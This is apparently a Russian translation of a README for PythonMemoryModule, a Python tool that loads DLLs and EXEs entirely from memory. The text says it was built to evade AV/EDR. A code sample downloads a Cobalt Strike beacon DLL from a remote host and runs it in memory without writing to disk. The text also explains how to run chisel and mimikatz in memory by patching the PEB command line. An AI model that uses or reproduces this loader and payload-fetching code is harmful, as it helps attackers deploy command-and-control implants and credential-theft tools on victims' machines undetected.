
чистая реализация на Python техники MemoryModule для загрузки dll и неуправляемых exe целиком из памяти
чистая реализация метода MemoryModule на Python для загрузки DLL или неуправляемого EXE полностью из памяти
"Модуль памяти Python" изображение, сгенерированное ИИ - hotpot.ai
PythonMemoryModule — это порт метода MemoryModule на Python с использованием ctypes, изначально опубликованный Йоахимом Баухом. Он позволяет загружать DLL или неуправляемый EXE с помощью Python без использования внешних библиотек (pyd) и имеет (частичную) поддержку передачи параметров командной строки.
Он использует pefile для разбора PE-заголовков, PythonForWindows для доступа к параметрам процесса и ctypes для основной работы. Инструмент изначально задумывался как модуль Pyramid, обеспечивающий обход AV/EDR путём загрузки полезных нагрузок DLL/EXE в python.exe полностью из памяти, однако возможны и другие сценарии использования (защита ИС, загрузка pyd в памяти, ответвления для других более скрытных техник), поэтому я решил создать отдельный репозиторий.
В следующем примере загружается (без сохранения на диск), загружается в память и запускается путём вызова точки входа DLL без сохранения (Cobalt Strike stageless beacon).
import urllib.request
import ctypes
import pythonmemorymodule
request = urllib.request.Request('http://192.168.1.2/beacon.dll')
result = urllib.request.urlopen(request)
buf=result.read()
dll = pythonmemorymodule.MemoryModule(data=buf, debug=True)
startDll = dll.get_proc_addr('StartW')
assert startDll()
#dll.free_library()
Примечание: если вы используете staging в своём malleable profile, DLL не сможет загрузиться с помощью LoadLibrary, следовательно, MemoryModule не сработает.

В следующем примере мы используем функцию передачи командной строки для выполнения chisel в памяти.
https://github.com/naksyn/PythonMemoryModule/assets/59816245/cdc91760-1897-450f-9770-1cd2377913c7
Эта техника реализована путём модификации параметра Commandline в PEB во время выполнения. Она будет работать не со всеми исполняемыми файлами, так как зависит от того, какие функции используются для передачи аргументов.
В целом, для универсально работающей техники потребовалось бы перехватить GetCommandlineA, GetCommandlineW, __getmainargs и __wgetmainargs, поскольку модификация PEB не покрывает все случаи, подробнее здесь
В ходе тестирования я обнаружил, что mimikatz и несколько бинарных файлов Go работают просто с модификацией PEB, с другой стороны, передача командной строки только через модификацию PEB для компилированных с помощью mingw и VS бинарников, скорее всего, не сработает.
Использование техники MemoryModule в основном сохраняет разрешения секций целевой DLL и избегает шумного подхода RWX. Однако в памяти процесса появится приватная область, не подкреплённая DLL на диске, и это является признаком использования MemoryModule.